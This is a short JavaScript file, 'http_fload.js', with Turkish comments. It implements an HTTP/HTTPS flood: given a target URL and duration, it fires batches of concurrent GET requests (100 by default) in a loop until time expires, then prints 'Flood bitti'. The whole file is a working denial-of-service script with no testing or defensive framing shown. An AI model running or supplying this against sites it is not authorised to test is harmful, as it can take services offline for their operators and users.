/ http_fload.js
http_fload.js
 1  // Artık http ve https çalışır
 2  const url = new URL(params.url);
 3  const client = url.protocol === 'https:' ? https : http;
 4  const end = Date.now() + (params.duration * 1000);
 5  
 6  function sendRequest() {
 7      return new Promise((resolve) => {
 8          client.get(url, (res) => {
 9              res.on('data', () => {});
10              res.on('end', resolve);
11          }).on('error', () => resolve());
12      });
13  }
14  
15  async function flood() {
16      while (Date.now() < end) {
17          const promises = [];
18          for (let i = 0; i < (params.requests || 100); i++) {
19              promises.push(sendRequest());
20          }
21          await Promise.all(promises);
22      }
23      console.log(`Flood bitti: ${params.url}`);
24  }
25  
26  flood();